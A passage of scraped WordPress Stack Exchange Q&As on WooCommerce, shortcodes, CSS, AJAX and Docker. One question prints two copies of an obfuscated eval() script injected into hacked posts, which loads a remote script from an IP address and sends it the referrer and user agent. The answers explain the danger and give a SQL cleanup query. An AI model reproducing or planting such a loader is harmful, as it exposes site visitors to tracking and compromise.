"text": "<p>You will use the <code>WC_Product</code> method <code>get_attributes()</code> that returns an array like:</p>\n\n<pre><code>global $product;\n\nif ( get_post_type( $post ) === 'product' && ! is_a($product, 'WC_Product') ) {\n $product = wc_get_product( get_the_id() ); // Get the WC_Product Object\n}\n\n$product_attributes = $product->get_attributes(); // Get the product attributes\n\n// Raw output\necho '<pre>'; print_r( $product_attributes ); echo '</pre>';\n</code></pre>\n\n<p>It should work <em>(for real product attributes)</em>.</p>\n\n<hr>\n\n<p>Now if you use some third party plugins, like product add-Ons for example, they add some custom fields to the product, but they are not product attributes…</p>\n"
},
{
"answer_id": 397318,
"author": "Nathan",
"author_id": 11952,
"author_profile": "https://wordpress.stackexchange.com/users/11952",
"pm_score": 2,
"selected": true,
"text": "<p>Building on Loic's answer for an attribute of <code>pa_manufacturer</code>:</p>\n<pre><code>if ( get_post_type( $post ) === 'product' && ! is_a($product, 'WC_Product') ) {\n $product = wc_get_product( get_the_id() ); // Get the WC_Product Object\n}\n\n$product_attributes = $product->get_attributes(); // Get the product attributes\n\n// Output\n$manufacturer_id = $product_attributes['pa_manufacturer']['options']['0']; // returns the ID of the term\n$manufacturer_name = get_term( $manufacturer_id )->name; // gets the term name of the term from the ID\necho '<p class="manufacturer">'.$manufacturer_name.'</p>'; // display the actual term name\n</code></pre>\n"
}
] | 2019/04/12 | [
"https://wordpress.stackexchange.com/questions/334250",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/164927/"
] | I am trying to create a function whicht has different shortcodes as output. I have the post-type => womos and the field => personenzahl. The field has the values 1 up to 7. Now I need a shortcode for every value.
This is my function for value => '1':
```
function modell_nach_personenzahl() {
$args = array(
'post_type' => 'womos',
'order' => 'ASC',
'orderby' => 'personen',
'field' => $atts['personen'],
'numberposts' => -1,
'meta_query' => array (
array (
'key' => 'personen',
'compare' => '>=',
'value' => '1'
),
)
);
$myquery = new WP_Query($args);
while($myquery->have_posts()) : $myquery->the_post();
$bild = get_field('header-bild', get_the_ID()); ?>
<div class="modell-liste">
<a href="<?php echo get_permalink(get_the_ID()); ?>"><img src="<?php echo($bild); ?> "> </a><br>
<strong>Modell: </strong><a href="<?php echo get_permalink(get_the_ID()); ?>"><?php echo get_post_meta(get_the_ID(),'modell', true);?></a> <br>
<strong>max. Personen: </strong><?php echo get_post_meta(get_the_ID(),'personen', true);?> <br><br>
</div>
<?php endwhile;
wp_reset_postdata();
```
Now I need a shortcode for value => '1', for value => '2', ...value => '7'.
Is ist possible do do this with the one function above? If yes, how can I achieve it? | Building on Loic's answer for an attribute of `pa_manufacturer`:
```
if ( get_post_type( $post ) === 'product' && ! is_a($product, 'WC_Product') ) {
$product = wc_get_product( get_the_id() ); // Get the WC_Product Object
}
$product_attributes = $product->get_attributes(); // Get the product attributes
// Output
$manufacturer_id = $product_attributes['pa_manufacturer']['options']['0']; // returns the ID of the term
$manufacturer_name = get_term( $manufacturer_id )->name; // gets the term name of the term from the ID
echo '<p class="manufacturer">'.$manufacturer_name.'</p>'; // display the actual term name
``` |
334,261 | <p>Here is example of code I have seen inserted in two different posts: </p>
<pre><code><noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkfkr|var|u0026u|referrer|fdrht||js|php'.split('|'),0,{}))
</script></noindex>
</code></pre>
<p>Second Example:</p>
<pre><code><noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzfke|var|u0026u|referrer|dabzy||js|php'.split('|'),0,{}))
</script></noindex>
</code></pre>
<p>Why would hacker get out of this? </p>
<p>How can I do a mass-replace. Can I do a regex in MYSQL and update the WP-Posts directly? Seems like just a few letters are different on each one. </p>
| [
{
"answer_id": 334270,
"author": "MikeNGarrett",
"author_id": 1670,
"author_profile": "https://wordpress.stackexchange.com/users/1670",
"pm_score": 0,
"selected": false,
"text": "<p>I'm sorry to see your site has malicious code in it. Unfortunately, <a href=\"https://wordpress.stackexchange.com/help/on-topic\">helping to fix compromised sites is outside the scope of this community</a>. </p>\n\n<p>I can answer your first question, though. This code appears to be garbled, but it is redirecting traffic from your site to some IP address with a path. I can't say exactly why, but this is usually to generate referral traffic, generate cryptocurrency, or compromise browsers in an effort to glean valuable personal information. </p>\n\n<p>It's dangerous to your visitors to leave this code on your site. </p>\n"
},
{
"answer_id": 334273,
"author": "Rick Hellewell",
"author_id": 29416,
"author_profile": "https://wordpress.stackexchange.com/users/29416",
"pm_score": 0,
"selected": false,
"text": "<p>There is lots of info on the googles (or bings, or ducks) about how to clean up a site. And it is true that your question is out of scope for this place.</p>\n\n<p>But, it is something that is asked often. Code that you don't recognize is probably dangerous to your site and your visitors. (Like the code that was inside the \"Yellow Pencil\" theme, and other themes/plugins that have been compromised.)</p>\n\n<p>So, cleaning is important. And it can be done, although it is a bit of work (I've done it for clients). </p>\n\n<p>See my (accepted) answer here on my recommendations: <a href=\"https://wordpress.stackexchange.com/questions/333380/is-this-a-hacking-script-in-function-php/333383#333383\">Is this a hacking script in function.php?</a> . If it was my site (or one that I manage), that's the procedure I would use to clean up a site.</p>\n"
},
{
"answer_id": 334365,
"author": "NealWalters",
"author_id": 2550,
"author_profile": "https://wordpress.stackexchange.com/users/2550",
"pm_score": 2,
"selected": true,
"text": "<p>As I was using MariaDB, the following update did the fix: </p>\n\n<pre><code>update wp_posts set post_content = REGEXP_REPLACE(post_content,'(*CRLF)<noindex>.*</noindex> ','')\n</code></pre>\n\n<p>See <a href=\"https://dba.stackexchange.com/questions/234774/mariadb-multiline-regex/234778#234778\">https://dba.stackexchange.com/questions/234774/mariadb-multiline-regex/234778#234778</a> </p>\n"
}
] | 2019/04/12 | [
"https://wordpress.stackexchange.com/questions/334261",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/2550/"
] | Here is example of code I have seen inserted in two different posts:
```
<noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkfkr|var|u0026u|referrer|fdrht||js|php'.split('|'),0,{}))
</script></noindex>
```
Second Example:
```
<noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzfke|var|u0026u|referrer|dabzy||js|php'.split('|'),0,{}))
</script></noindex>
```
Why would hacker get out of this?
How can I do a mass-replace. Can I do a regex in MYSQL and update the WP-Posts directly? Seems like just a few letters are different on each one. | As I was using MariaDB, the following update did the fix:
```
update wp_posts set post_content = REGEXP_REPLACE(post_content,'(*CRLF)<noindex>.*</noindex> ','')
```
See <https://dba.stackexchange.com/questions/234774/mariadb-multiline-regex/234778#234778> |
334,302 | <p>I am very new on WordPress so my mistake should not be be too complicated. I did something to my site that the navigation menu items on home (landing) page hidden in the navigation menu <a href="http://fullcircletherapy.com/home" rel="nofollow noreferrer">here</a>. </p>
<p>If you hover over where menu items should be they individually appear. The nav menu items display fine on all subordinate pages. </p>
<p>Ideally, I would like to fix it so that that nav menu items on the home page, are the same as all other pages</p>
<p>Any help would be greatly appreciated.</p>
| [
{
"answer_id": 334305,
"author": "Shihab",
"author_id": 113702,
"author_profile": "https://wordpress.stackexchange.com/users/113702",
"pm_score": 1,
"selected": false,
"text": "<p>If you inspect the element, you'll see that header has a different background color than other pages which is transparent. Your nav elements color is also white and that is why you can't see the menus on home page but actually the menu is there. Just change the header background color to #000 as you used for other page header. So you can add following css to your style:</p>\n\n<pre><code>#masthead .site-header{\n background-color: #000;\n}\n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/E40Z2.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/E40Z2.png\" alt=\"enter image description here\"></a></p>\n"
},
{
"answer_id": 334307,
"author": "Qaisar Feroz",
"author_id": 161501,
"author_profile": "https://wordpress.stackexchange.com/users/161501",
"pm_score": 0,
"selected": false,
"text": "<p>Two Solutions:</p>\n<p>Add class <code>header-bg</code> to <code><body></code> tag on home page</p>\n<p><strong>OR</strong></p>\n<p>Add CSS rule <code>background-color: #000;</code> to selector <code>.site-header.fixed</code> at line No. 900 in <code>style.css</code></p>\n<pre><code>.site-header.fixed {\n position: fixed;\n background-color: #000; /* Add this new rule */\n}\n</code></pre>\n<p><strong>RESULT</strong></p>\n<p><a href=\"https://i.stack.imgur.com/QxtBk.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/QxtBk.png\" alt=\"enter image description here\" /></a></p>\n"
}
] | 2019/04/13 | [
"https://wordpress.stackexchange.com/questions/334302",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/165028/"
] | I am very new on WordPress so my mistake should not be be too complicated. I did something to my site that the navigation menu items on home (landing) page hidden in the navigation menu [here](http://fullcircletherapy.com/home).
If you hover over where menu items should be they individually appear. The nav menu items display fine on all subordinate pages.
Ideally, I would like to fix it so that that nav menu items on the home page, are the same as all other pages
Any help would be greatly appreciated. | If you inspect the element, you'll see that header has a different background color than other pages which is transparent. Your nav elements color is also white and that is why you can't see the menus on home page but actually the menu is there. Just change the header background color to #000 as you used for other page header. So you can add following css to your style:
```
#masthead .site-header{
background-color: #000;
}
```
[](https://i.stack.imgur.com/E40Z2.png) |
334,317 | <p>I have a post type that is essentially a photography zine. I want each post to display in the archive page as an "issue" with a number associated, from oldest to newest. The first issue would be "issue 1" while the tenth issue would be "issue 10". I need this display both on the archive page and also on the post page itself.</p>
<p>Here is the code I was using</p>
<pre><code><?php
echo $wp_query->found_posts - $wp_query->current_post ;
</code></pre>
<p>But this only seems to work on the archive page.</p>
| [
{
"answer_id": 334349,
"author": "Qaisar Feroz",
"author_id": 161501,
"author_profile": "https://wordpress.stackexchange.com/users/161501",
"pm_score": 1,
"selected": true,
"text": "<p>You can do it like this on single post page following <strong><a href=\"https://wordpress.stackexchange.com/a/35543/161501\">this answer</a></strong>. The code may need some tweaking to meet your exact requirements.</p>\n\n<p>Put this in <code>functions.php</code> of your theme </p>\n\n<blockquote>\n<pre><code> class MY_Post_Numbers {\n\n private $count = 0;\n private $posts = array();\n\n public function display_count() {\n $this->init(); // prevent unnecessary queries\n $id = get_the_ID();\n echo sprintf( '<div class=\"post-counter\">Post number<span class=\"num\">%s</span><span class=\"slash\">/</span><span class=\"total\">%s</span></div>', $this->posts[$id], $this->count );\n }\n\n private function init() {\n if ( $this->count )\n return;\n global $wpdb; \n $posts = $wpdb->get_col( \"SELECT ID FROM $wpdb->posts WHERE post_status = 'publish' AND post_type = 'post' ORDER BY post_date \" ); // can add or change order if you want \n $this->count = count($posts);\n\n foreach ( $posts as $key => $value ) {\n $this->posts[$value] = $key + 1;\n }\n unset($posts);\n }\n\n}\n\n$GLOBALS['my_post_numbers'] = new MY_Post_Numbers;\n\nfunction my_post_number() {\n $GLOBALS['my_post_numbers']->display_count();\n}\n</code></pre>\n \n <p>to use in template file :</p>\n\n<pre><code><?php my_post_number(); ?>\n</code></pre>\n</blockquote>\n"
},
{
"answer_id": 334350,
"author": "Nicolai Grossherr",
"author_id": 22534,
"author_profile": "https://wordpress.stackexchange.com/users/22534",
"pm_score": 1,
"selected": false,
"text": "<p>Using API function is an option, and in my opinion generally preferable. As counting, numbering on the archive page isn't an issue, this concerns how to do it at the view of a single post. This is not ready to use code, just an exemplary outline:</p>\n\n<pre><code>$current_posts_id = get_the_ID();\n$wp_query_obj = new WP_Query(\n [\n //other conditions to determine order\n //use the same as for the archive page, otherwise the numbering differs\n\n //use parameter fields to get an array of\n //keys numerically indexed, with value post id\n 'fields' => 'ids'\n ]\n);\n//get the numerically array of post ids into its own variable\n$wp_query_posts_array = $wp_query_obj->posts;\n//search array by value, which is the post id, and return corresponding key, numeric index\n$wp_query_posts_array_index = array_search( $current_posts_id, $wp_query_posts_array );\n//the array index starts with 0, add one for the issue numbering\n$current_posts_issue_number = $wp_query_posts_array_index + 1;\n</code></pre>\n\n<p><br><br>\nNote: This is of course, if you want to get the issue number on the fly. Generally speaking, if you want or have to work with the issue number more frequently, or want to do queries where you can use the issue number, I probably would introduce a post meta to store the issue number. But that's just my thought in regard to possibly necessary code, data structure design choices.</p>\n"
}
] | 2019/04/14 | [
"https://wordpress.stackexchange.com/questions/334317",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/103174/"
] | I have a post type that is essentially a photography zine. I want each post to display in the archive page as an "issue" with a number associated, from oldest to newest. The first issue would be "issue 1" while the tenth issue would be "issue 10". I need this display both on the archive page and also on the post page itself.
Here is the code I was using
```
<?php
echo $wp_query->found_posts - $wp_query->current_post ;
```
But this only seems to work on the archive page. | You can do it like this on single post page following **[this answer](https://wordpress.stackexchange.com/a/35543/161501)**. The code may need some tweaking to meet your exact requirements.
Put this in `functions.php` of your theme
>
>
> ```
> class MY_Post_Numbers {
>
> private $count = 0;
> private $posts = array();
>
> public function display_count() {
> $this->init(); // prevent unnecessary queries
> $id = get_the_ID();
> echo sprintf( '<div class="post-counter">Post number<span class="num">%s</span><span class="slash">/</span><span class="total">%s</span></div>', $this->posts[$id], $this->count );
> }
>
> private function init() {
> if ( $this->count )
> return;
> global $wpdb;
> $posts = $wpdb->get_col( "SELECT ID FROM $wpdb->posts WHERE post_status = 'publish' AND post_type = 'post' ORDER BY post_date " ); // can add or change order if you want
> $this->count = count($posts);
>
> foreach ( $posts as $key => $value ) {
> $this->posts[$value] = $key + 1;
> }
> unset($posts);
> }
>
> }
>
> $GLOBALS['my_post_numbers'] = new MY_Post_Numbers;
>
> function my_post_number() {
> $GLOBALS['my_post_numbers']->display_count();
> }
>
> ```
>
> to use in template file :
>
>
>
> ```
> <?php my_post_number(); ?>
>
> ```
>
> |
334,341 | <p>I've been using VVV on a Win 10 Pro machine for local dev. And it works great. </p>
<p>But I want to try things like wpgraphql via docker. </p>
<p>I've read about Docker Desktop for Windows vs. Docker Toolbox. We would prefer not to use the legacy solution ( Docker Tookbox ). </p>
<p>Is it possible to use Docker Desktop for Windows on the same machine that is using VirtualBox ( VVV ) ? </p>
<p>I'm not opposed to using Docker for all our local dev sites, but it would be nice to have the option to use either. Or at least be able to test Docker without hosing our VVV setup. </p>
| [
{
"answer_id": 334349,
"author": "Qaisar Feroz",
"author_id": 161501,
"author_profile": "https://wordpress.stackexchange.com/users/161501",
"pm_score": 1,
"selected": true,
"text": "<p>You can do it like this on single post page following <strong><a href=\"https://wordpress.stackexchange.com/a/35543/161501\">this answer</a></strong>. The code may need some tweaking to meet your exact requirements.</p>\n\n<p>Put this in <code>functions.php</code> of your theme </p>\n\n<blockquote>\n<pre><code> class MY_Post_Numbers {\n\n private $count = 0;\n private $posts = array();\n\n public function display_count() {\n $this->init(); // prevent unnecessary queries\n $id = get_the_ID();\n echo sprintf( '<div class=\"post-counter\">Post number<span class=\"num\">%s</span><span class=\"slash\">/</span><span class=\"total\">%s</span></div>', $this->posts[$id], $this->count );\n }\n\n private function init() {\n if ( $this->count )\n return;\n global $wpdb; \n $posts = $wpdb->get_col( \"SELECT ID FROM $wpdb->posts WHERE post_status = 'publish' AND post_type = 'post' ORDER BY post_date \" ); // can add or change order if you want \n $this->count = count($posts);\n\n foreach ( $posts as $key => $value ) {\n $this->posts[$value] = $key + 1;\n }\n unset($posts);\n }\n\n}\n\n$GLOBALS['my_post_numbers'] = new MY_Post_Numbers;\n\nfunction my_post_number() {\n $GLOBALS['my_post_numbers']->display_count();\n}\n</code></pre>\n \n <p>to use in template file :</p>\n\n<pre><code><?php my_post_number(); ?>\n</code></pre>\n</blockquote>\n"
},
{
"answer_id": 334350,
"author": "Nicolai Grossherr",
"author_id": 22534,
"author_profile": "https://wordpress.stackexchange.com/users/22534",
"pm_score": 1,
"selected": false,
"text": "<p>Using API function is an option, and in my opinion generally preferable. As counting, numbering on the archive page isn't an issue, this concerns how to do it at the view of a single post. This is not ready to use code, just an exemplary outline:</p>\n\n<pre><code>$current_posts_id = get_the_ID();\n$wp_query_obj = new WP_Query(\n [\n //other conditions to determine order\n //use the same as for the archive page, otherwise the numbering differs\n\n //use parameter fields to get an array of\n //keys numerically indexed, with value post id\n 'fields' => 'ids'\n ]\n);\n//get the numerically array of post ids into its own variable\n$wp_query_posts_array = $wp_query_obj->posts;\n//search array by value, which is the post id, and return corresponding key, numeric index\n$wp_query_posts_array_index = array_search( $current_posts_id, $wp_query_posts_array );\n//the array index starts with 0, add one for the issue numbering\n$current_posts_issue_number = $wp_query_posts_array_index + 1;\n</code></pre>\n\n<p><br><br>\nNote: This is of course, if you want to get the issue number on the fly. Generally speaking, if you want or have to work with the issue number more frequently, or want to do queries where you can use the issue number, I probably would introduce a post meta to store the issue number. But that's just my thought in regard to possibly necessary code, data structure design choices.</p>\n"
}
] | 2019/04/14 | [
"https://wordpress.stackexchange.com/questions/334341",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/16575/"
] | I've been using VVV on a Win 10 Pro machine for local dev. And it works great.
But I want to try things like wpgraphql via docker.
I've read about Docker Desktop for Windows vs. Docker Toolbox. We would prefer not to use the legacy solution ( Docker Tookbox ).
Is it possible to use Docker Desktop for Windows on the same machine that is using VirtualBox ( VVV ) ?
I'm not opposed to using Docker for all our local dev sites, but it would be nice to have the option to use either. Or at least be able to test Docker without hosing our VVV setup. | You can do it like this on single post page following **[this answer](https://wordpress.stackexchange.com/a/35543/161501)**. The code may need some tweaking to meet your exact requirements.
Put this in `functions.php` of your theme
>
>
> ```
> class MY_Post_Numbers {
>
> private $count = 0;
> private $posts = array();
>
> public function display_count() {
> $this->init(); // prevent unnecessary queries
> $id = get_the_ID();
> echo sprintf( '<div class="post-counter">Post number<span class="num">%s</span><span class="slash">/</span><span class="total">%s</span></div>', $this->posts[$id], $this->count );
> }
>
> private function init() {
> if ( $this->count )
> return;
> global $wpdb;
> $posts = $wpdb->get_col( "SELECT ID FROM $wpdb->posts WHERE post_status = 'publish' AND post_type = 'post' ORDER BY post_date " ); // can add or change order if you want
> $this->count = count($posts);
>
> foreach ( $posts as $key => $value ) {
> $this->posts[$value] = $key + 1;
> }
> unset($posts);
> }
>
> }
>
> $GLOBALS['my_post_numbers'] = new MY_Post_Numbers;
>
> function my_post_number() {
> $GLOBALS['my_post_numbers']->display_count();
> }
>
> ```
>
> to use in template file :
>
>
>
> ```
> <?php my_post_number(); ?>
>
> ```
>
> |
334,356 | <p>I've been trying to grasp AJAX for the past 12 hours and i'm slowly losing it. How can I simply pass two basic input dates via form or any other means, <em>not</em> refresh the page, and have it execute the PHP function which contains a JS script? </p>
<p>Before I even pass the values to the script I just wanna echo the array of data I'm passing to see if...well ajax is working. The form button just refreshes the page regardless, so I don't think AJAX is even kicking in at all. I'm trying on the <a href="https://localhost" rel="nofollow noreferrer">https://localhost</a> for xampp. I don't know what's missing to stop the refresh and kick in the ajax script over the button.</p>
<p>Appreciate any insight.</p>
<p>functions.php</p>
<pre><code><?php
add_action('wp_enqueue_scripts','enqueue_parent_styles');
add_action('wp_ajax_nopriv_lineChartCustom', 'lineChartCustomCreate');
add_action('wp_ajax_lineChartCustom', 'lineChartCustomCreate');
function lineChartCustomCreate(){
if ( isset( $_POST['dataForPHP'])){
//echo data array
echo $dataForPHP;
//<script>Some chart generating script using the data array</script>
}
}
?>
</code></pre>
<p>page-template.php</p>
<pre><code><?php
echo "<form id='my-form'>
Select Date Range:
<input type='date' name='date1'>
<input type='date' name='date2'>
<input type='submit' id='submit' value='submit'>
</form>";
?>
<script>
jQuery('#submit').on('click', function() {
let formData = jQuery('#my-form').serializeArray(); // retrieves the form's data as an array
jQuery.ajax({
url: ajaxurl, // default ajax url of wordpress
type: 'POST',
data: {
action: 'lineChartCustom', // use this action to handle the event
dataForPHP: formData // this is your form's data that is going to be submitted to PHP by the name of dataForPHP
});
});
});
</script>
</code></pre>
| [
{
"answer_id": 334349,
"author": "Qaisar Feroz",
"author_id": 161501,
"author_profile": "https://wordpress.stackexchange.com/users/161501",
"pm_score": 1,
"selected": true,
"text": "<p>You can do it like this on single post page following <strong><a href=\"https://wordpress.stackexchange.com/a/35543/161501\">this answer</a></strong>. The code may need some tweaking to meet your exact requirements.</p>\n\n<p>Put this in <code>functions.php</code> of your theme </p>\n\n<blockquote>\n<pre><code> class MY_Post_Numbers {\n\n private $count = 0;\n private $posts = array();\n\n public function display_count() {\n $this->init(); // prevent unnecessary queries\n $id = get_the_ID();\n echo sprintf( '<div class=\"post-counter\">Post number<span class=\"num\">%s</span><span class=\"slash\">/</span><span class=\"total\">%s</span></div>', $this->posts[$id], $this->count );\n }\n\n private function init() {\n if ( $this->count )\n return;\n global $wpdb; \n $posts = $wpdb->get_col( \"SELECT ID FROM $wpdb->posts WHERE post_status = 'publish' AND post_type = 'post' ORDER BY post_date \" ); // can add or change order if you want \n $this->count = count($posts);\n\n foreach ( $posts as $key => $value ) {\n $this->posts[$value] = $key + 1;\n }\n unset($posts);\n }\n\n}\n\n$GLOBALS['my_post_numbers'] = new MY_Post_Numbers;\n\nfunction my_post_number() {\n $GLOBALS['my_post_numbers']->display_count();\n}\n</code></pre>\n \n <p>to use in template file :</p>\n\n<pre><code><?php my_post_number(); ?>\n</code></pre>\n</blockquote>\n"
},
{
"answer_id": 334350,
"author": "Nicolai Grossherr",
"author_id": 22534,
"author_profile": "https://wordpress.stackexchange.com/users/22534",
"pm_score": 1,
"selected": false,
"text": "<p>Using API function is an option, and in my opinion generally preferable. As counting, numbering on the archive page isn't an issue, this concerns how to do it at the view of a single post. This is not ready to use code, just an exemplary outline:</p>\n\n<pre><code>$current_posts_id = get_the_ID();\n$wp_query_obj = new WP_Query(\n [\n //other conditions to determine order\n //use the same as for the archive page, otherwise the numbering differs\n\n //use parameter fields to get an array of\n //keys numerically indexed, with value post id\n 'fields' => 'ids'\n ]\n);\n//get the numerically array of post ids into its own variable\n$wp_query_posts_array = $wp_query_obj->posts;\n//search array by value, which is the post id, and return corresponding key, numeric index\n$wp_query_posts_array_index = array_search( $current_posts_id, $wp_query_posts_array );\n//the array index starts with 0, add one for the issue numbering\n$current_posts_issue_number = $wp_query_posts_array_index + 1;\n</code></pre>\n\n<p><br><br>\nNote: This is of course, if you want to get the issue number on the fly. Generally speaking, if you want or have to work with the issue number more frequently, or want to do queries where you can use the issue number, I probably would introduce a post meta to store the issue number. But that's just my thought in regard to possibly necessary code, data structure design choices.</p>\n"
}
] | 2019/04/14 | [
"https://wordpress.stackexchange.com/questions/334356",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/165063/"
] | I've been trying to grasp AJAX for the past 12 hours and i'm slowly losing it. How can I simply pass two basic input dates via form or any other means, *not* refresh the page, and have it execute the PHP function which contains a JS script?
Before I even pass the values to the script I just wanna echo the array of data I'm passing to see if...well ajax is working. The form button just refreshes the page regardless, so I don't think AJAX is even kicking in at all. I'm trying on the <https://localhost> for xampp. I don't know what's missing to stop the refresh and kick in the ajax script over the button.
Appreciate any insight.
functions.php
```
<?php
add_action('wp_enqueue_scripts','enqueue_parent_styles');
add_action('wp_ajax_nopriv_lineChartCustom', 'lineChartCustomCreate');
add_action('wp_ajax_lineChartCustom', 'lineChartCustomCreate');
function lineChartCustomCreate(){
if ( isset( $_POST['dataForPHP'])){
//echo data array
echo $dataForPHP;
//<script>Some chart generating script using the data array</script>
}
}
?>
```
page-template.php
```
<?php
echo "<form id='my-form'>
Select Date Range:
<input type='date' name='date1'>
<input type='date' name='date2'>
<input type='submit' id='submit' value='submit'>
</form>";
?>
<script>
jQuery('#submit').on('click', function() {
let formData = jQuery('#my-form').serializeArray(); // retrieves the form's data as an array
jQuery.ajax({
url: ajaxurl, // default ajax url of wordpress
type: 'POST',
data: {
action: 'lineChartCustom', // use this action to handle the event
dataForPHP: formData // this is your form's data that is going to be submitted to PHP by the name of dataForPHP
});
});
});
</script>
``` | You can do it like this on single post page following **[this answer](https://wordpress.stackexchange.com/a/35543/161501)**. The code may need some tweaking to meet your exact requirements.
Put this in `functions.php` of your theme
>
>
> ```
> class MY_Post_Numbers {
>
> private $count = 0;
> private $posts = array();
>
> public function display_count() {
> $this->init(); // prevent unnecessary queries
> $id = get_the_ID();
> echo sprintf( '<div class="post-counter">Post number<span class="num">%s</span><span class="slash">/</span><span class="total">%s</span></div>', $this->posts[$id], $this->count );
> }
>
> private function init() {
> if ( $this->count )
> return;
> global $wpdb;
> $posts = $wpdb->get_col( "SELECT ID FROM $wpdb->posts WHERE post_status = 'publish' AND post_type = 'post' ORDER BY post_date " ); // can add or change order if you want
> $this->count = count($posts);
>
> foreach ( $posts as $key => $value ) {
> $this->posts[$value] = $key + 1;
> }
> unset($posts);
> }
>
> }
>
> $GLOBALS['my_post_numbers'] = new MY_Post_Numbers;
>
> function my_post_number() {
> $GLOBALS['my_post_numbers']->display_count();
> }
>
> ```
>
> to use in template file :
>
>
>
> ```
> <?php my_post_number(); ?>
>
> ```
>
> |
334,397 | <p>In <a href="https://mathiasbynens.github.io/rel-noopener/" rel="nofollow noreferrer">this article</a> I read, that using <code><a href="" target="blank"></code> is related to some security issues. They recommend <code>rel=noopener</code>.</p>
<p>How do I implement this in my WP-Installation? Which file is the relevant one? Thank you.</p>
| [
{
"answer_id": 334406,
"author": "Kim Vinberg",
"author_id": 96605,
"author_profile": "https://wordpress.stackexchange.com/users/96605",
"pm_score": 0,
"selected": false,
"text": "<p>\"Wich file is the relevant one\" = All files that allow user generated content to be viewed.</p>\n\n<p>You have to change hook into the_content to change the URLs and add noopener</p>\n\n<p>There is a great answer here: <a href=\"https://wordpress.stackexchange.com/questions/104450/how-to-add-nofollow-on-all-external-links-without-plugin\">How to add nofollow on all external links without plugin?</a> (and here: <a href=\"https://wordpress.stackexchange.com/questions/16439/a-plugin-for-having-rel-nofollow-in-posts\">A plugin for having rel="nofollow" in posts?</a> ) you should look into. </p>\n"
},
{
"answer_id": 334416,
"author": "birgire",
"author_id": 26350,
"author_profile": "https://wordpress.stackexchange.com/users/26350",
"pm_score": 2,
"selected": false,
"text": "<p>Since WordPress 5.1 (see <a href=\"https://core.trac.wordpress.org/ticket/43187\" rel=\"nofollow noreferrer\">#43187</a>) it ships with the <a href=\"https://developer.wordpress.org/reference/functions/wp_targeted_link_rel/\" rel=\"nofollow noreferrer\"><code>wp_targeted_link_rel()</code></a> function, that adds <code>noreferrer</code> and <code>noopener</code> relation values to all <em>anchor</em> elements that have a <code>target</code>.</p>\n\n<p>This function is used to filter through the various input data just before saving it, e.g. </p>\n\n<ul>\n<li>post title,</li>\n<li>post content,</li>\n<li>post excerpt,</li>\n<li>comment content,</li>\n<li>term description,</li>\n<li>link description,</li>\n<li>link notes,</li>\n<li>user description.</li>\n</ul>\n\n<p>Since 5.2 the following improvements are made:</p>\n\n<ul>\n<li><a href=\"https://core.trac.wordpress.org/ticket/46421\" rel=\"nofollow noreferrer\">#46421</a> handles the Text and HTML widgets.</li>\n<li><a href=\"https://core.trac.wordpress.org/ticket/43280\" rel=\"nofollow noreferrer\">#43280</a> handles the Image Media widget.</li>\n<li><a href=\"https://core.trac.wordpress.org/ticket/43290\" rel=\"nofollow noreferrer\">#43290</a> handles the Menus.</li>\n</ul>\n\n<p>There are open tickets to further refine it, e.g. </p>\n\n<ul>\n<li><a href=\"https://core.trac.wordpress.org/ticket/46886\" rel=\"nofollow noreferrer\">#46886</a> to avoid false positive from the <code>data-target</code> attribute.</li>\n<li><a href=\"https://core.trac.wordpress.org/ticket/46580\" rel=\"nofollow 